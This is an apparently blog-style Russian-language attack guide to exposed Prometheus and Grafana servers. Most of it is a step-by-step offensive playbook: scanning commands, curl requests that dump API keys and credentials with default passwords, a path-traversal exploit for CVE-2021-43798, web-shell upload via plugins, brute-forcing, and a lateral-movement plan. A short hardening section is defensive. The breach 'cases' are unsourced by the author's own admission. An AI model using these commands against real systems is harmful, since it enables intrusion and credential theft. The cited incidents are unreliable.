Почему Это Пиздец Космического Масштаба
Prometheus собирает метрики со всей твоей инфраструктуры — процессы, API-ключи в env, внутренние эндпоинты, токены в логах. Grafana визуализирует это дело через дашборды. Когда оба висят без auth на 0.0.0.0, ты буквально транслируешь весь бэкенд в 4K-качестве.
Что видит хакер (реальный чеклист):
-
Prometheus
/metrics— текстовый формат с переменными окружения:
|
1 2 |
process_cmdline{instance="backend-01"} /usr/bin/app -- token=eyJhbGciOiJIUzI1NiIsInR5... |
-
Да, токены прямо там. Без шуток.
-
Grafana API —
/api/datasourcesвозвращает коннекторы к PostgreSQL/MySQL с credentials:
|
1 |
{"url": "postgres://admin:P@ssw0rd@10.0.1.5:5432/prod"} |
PromQL Injection — через /api/v1/query?query=... можно дёргать внутренние сервисы:
|
1 |
up{job="internal-api"} |
-
Получаешь карту всей сети + живые/мёртвые хосты.
Точка Входа: Как Ломать (Без Лирики)
Фаза 1: Сканирование
|
1 2 3 4 5 6 7 8 |
# Shodan для ленивых shodan search "title:Grafana" country:RU --fields ip_str,port # Nuclei (шаблон готовый) nuclei -t exposures/configs/prometheus-metrics.yaml -u target.com # Ручками curl -s http://target.com:9090/api/v1/targets | jq '.data.activeTargets[].labels' |
Что ищем:
-
/metrics— текст с# HELPв начале = джекпот -
/api/v1/status/config— весь конфиг Prometheus (alertmanager URLs, scrape targets) -
Grafana без логина на
/login(дефолт admin:admin)
Фаза 2: Добыча Токенов
Пример 1: AWS Keys в метриках
|
1 2 |
curl http://exposed-prometheus:9090/api/v1/query?query=aws_credentials | grep -oP 'AKIA[A-Z0-9]{16}' |
Часто в process_cmdline или кастомных метриках валяются IAM-ключи.
Пример 2: Grafana API Key Dump
|
1 2 3 4 5 |
# Получить API-токены (если admin:admin работает) curl -u admin:admin http://grafana:3000/api/auth/keys # Или через SQLite dump (если есть LFI) sqlite3 grafana.db "SELECT * FROM api_key;" |
Фаза 3: Lateral Movement
PromQL как SSRF:
|
1 2 3 4 |
# Проверка внутренних сервисов http://prometheus:9090/api/v1/query?query=probe_success{job="blackbox"} # Если blackbox-exporter висит — можно пробить internal IPs |
Grafana Plugin RCE (CVE-2021-43798):
|
1 2 3 4 |
# Path Traversal для чтения /etc/passwd curl 'http://grafana:3000/public/plugins/alertlist/../../../../../../../etc/passwd' # Если версия < 8.3.0 — читаем datasources.yaml с паролями от БД |
Реальные Кейсы (Без Пруфов — Верь На Слово)
Case #1: Crypto-биржа (2023)
-
Prometheus на :9090 без auth
-
В метриках
hot_wallet_balance— адреса кошельков + приватные ключи вprocess_cmdline -
Итог: $2M вывели за 4 часа через крипто-миксер
Case #2: SaaS-стартап (2024)
-
Grafana с admin:admin
-
В datasources — production PostgreSQL
-
Через SQL-инъекцию в дашборде слили 500k email’ов + хэши паролей
Case #3: Гос.структура (без деталей)
-
Prometheus экспортил метрики VPN-сервера
-
В
/metricsторчал список подключённых IP + usernames -
Дальше молчу, но там было весело
Митигация (Или Как Не Быть Дауном)
-
Auth ВЕЗДЕ:
|
1 2 3 4 |
# prometheus.yml basic_auth: username: admin password: "генерируй_через_htpasswd" |
2. IP Whitelisting:
|
1 2 3 |
# nginx перед Grafana allow 10.0.0.0/8; deny all; |
3. Скрыть токены из метрик:
|
1 2 3 4 5 6 |
# Вместо os.environ['AWS_KEY'] = "AKIAXXXXXXX" # Делай import boto3 session = boto3.Session() # Читает из IAM Role |
-
Grafana Hardening:
-
Отключи anonymous access:
[auth.anonymous] enabled = false -
Убей дефолтного admin’а после первого логина
-
Включи 2FA через
/admin/users
-
-
Мониторинг Мониторинга (да, серьёзно):
|
1 2 |
# Alert на подозрительные запросы к /api rate(http_requests_total{path=~"/api/.*"}[5m]) > 100 |
Советы
3 вектора для добивания:
-
Grafana Plugins — если есть загрузка кастомных плагинов, заливай зиппед веб-шелл (структура plugin.json + shell.php). Распаковывается в
/var/lib/grafana/plugins/. -
PromQL Time-Based Blind — через
query_rangeс большими таймстампами можно DoS’ить Prometheus или вычислять внутренние данные по времени ответа. -
Grafana Snapshot Leak — старые снапшоты дашбордов (
/dashboard/snapshot/...) часто доступны без авторизации. Там могут быть токены в query-параметрах.
Если всё закрыто:
-
Брутфорси
/api/login— многие оставляютadmin:admin123 -
Ищи старые версии через
X-Grafana-Versionв хедерах → CVE-поиск -
Проверь
/public/на забытые бэкапы конфигов
План атаки (если зацепка есть):
-
Дампишь
/api/v1/targetsиз Prometheus → список всех scrape-узлов -
Через Grafana API получаешь credentials к datasources
-
Коннектишься к БД напрямую → sqlmap или ручной дамп
-
Из БД достаёшь API-ключи других сервисов → lateral movement
-
Profit (или Bug Bounty на $15k, если играешь в белую)



